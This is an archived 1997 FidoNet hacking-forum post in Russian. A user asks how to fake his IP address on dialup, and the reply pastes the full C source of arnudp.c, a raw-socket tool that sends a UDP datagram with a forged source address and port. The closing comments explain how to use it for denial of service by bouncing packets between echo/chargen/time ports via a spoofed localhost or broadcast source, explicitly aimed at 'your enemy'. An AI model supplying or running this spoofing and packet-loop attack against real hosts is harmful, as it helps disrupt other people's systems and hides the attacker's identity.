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FakeIP (security ip )


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_ $HACKING$ (2:5077/15.22) _________________________________________ $HACKING$ _ From : Max Tulyev 2:463/253 03 Dec 97 14:31:08 Subj : FakeIP ________________________________________________________________________________ Hi, Dmitry! At 08 Nov 97 08:23:25, Dmitry Nikitin wrote to All: DN> Можно ли как-нибудь сделать сабж, при условии что я диалап. Можно. апример, так: А вообще на www.rootshell.com сходи ;-) ===== Start cut ===== /************************************************************************/ /* arnudp.c version 0.01 by Arny - cs6171@scitsc.wlv.ac.uk */ /* Sends a single udp datagram with the source/destination address/port */ /* set to whatever you want. Unfortunately Linux 1.2 and SunOS 4.1 */ /* don't seem to have the IP_HDRINCL option, so the source address will */ /* be set to the real address. It does however work ok on SunOS 5.4. */ /* Should compile fine with just an ANSI compiler (such as gcc) under */ /* Linux and SunOS 4.1, but with SunOS 5.4 you have to specify extra */ /* libraries on the command line: */ /* /usr/ucb/cc -o arnudp arnudp001.c -lsocket -lnsl */ /* I'll state the obvious - this needs to be run as root! Do not use */ /* this program unless you know what you are doing, as it is possible */ /* that you could confuse parts of your network / internet. */ /* (c) 1995 Arny - I accept no responsiblity for anything this does. */ /************************************************************************/ /* I used the source of traceroute as an example while writing this. */ /* Many thanks to Dan Egnor (egnor@ugcs.caltech.edu) and Rich Stevens */ /* for pointing me in the right direction. */ /************************************************************************/ #include<sys/types.h> #include<sys/socket.h> #include<netinet/in_systm.h> #include<netinet/in.h> #include<netinet/ip.h> #include<netinet/udp.h> #include<errno.h> #include<string.h> #include<netdb.h> #include<arpa/inet.h> #include<stdio.h> struct sockaddr sa; main(int argc,char **argv) { int fd; int x=1; struct sockaddr_in *p; struct hostent *he; u_char gram[38]= { 0x45, 0x00, 0x00, 0x26, 0x12, 0x34, 0x00, 0x00, 0xFF, 0x11, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0x00, 0x12, 0x00, 0x00, '1','2','3','4','5','6','7','8','9','0' }; if(argc!=5) { fprintf(stderr,"usage: %s sourcename sourceport destinationname destinationpo rt\n",*argv); exit(1); }; if((he=gethostbyname(argv[1]))==NULL) { fprintf(stderr,"can't resolve source hostname\n"); exit(1); }; bcopy(*(he->h_addr_list),(gram+12),4); if((he=gethostbyname(argv[3]))==NULL) { fprintf(stderr,"can't resolve destination hostname\n"); exit(1); }; bcopy(*(he->h_addr_list),(gram+16),4); *(u_short*)(gram+20)=htons((u_short)atoi(argv[2])); *(u_short*)(gram+22)=htons((u_short)atoi(argv[4])); p=(struct sockaddr_in*)&sa; p->sin_family=AF_INET; bcopy(*(he->h_addr_list),&(p->sin_addr),sizeof(struct in_addr)); if((fd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))== -1) { perror("socket"); exit(1); }; #ifdef IP_HDRINCL fprintf(stderr,"we have IP_HDRINCL :-)\n\n"); if (setsockopt(fd,IPPROTO_IP,IP_HDRINCL,(char*)&x,sizeof(x))<0) { perror("setsockopt IP_HDRINCL"); exit(1); }; #else fprintf(stderr,"we don't have IP_HDRINCL :-(\n\n"); #endif if((sendto(fd,&gram,sizeof(gram),0,(struct sockaddr*)p,sizeof(struct sockaddr) ))== -1) { perror("sendto"); exit(1); }; printf("datagram sent without error:"); for(x=0;x<(sizeof(gram)/sizeof(u_char));x++) { if(!(x%4)) putchar('\n'); printf("%02x",gram[x]); }; putchar('\n'); } /* From B.O.S. 2/05/96 I noticed someone mentioning the echo port. My advice is to disable the echo service completely. It is often used by hackers to hang a computer. Try sending a packet from port 7 your ip to port 7 your ip. The system will bounce the packet back and forth slowing the system drastically. A Hacker Program I have seen used to do this is called arnudp.c */ /* Send a udp packet to your enemy's ip address, for both port numbers use one of echo/chargen/time , and use either 127.0.0.1 or broadcast as the From-address. He will have a lot of fun... */ ===== End cut ===== Bye! * E-Mail: maxtul@olinet.isf.kiev.ua ICQ: 5272901 [Team Enigma] --- QDed/Linux * Origin: The best BIOS! (2:463/253)

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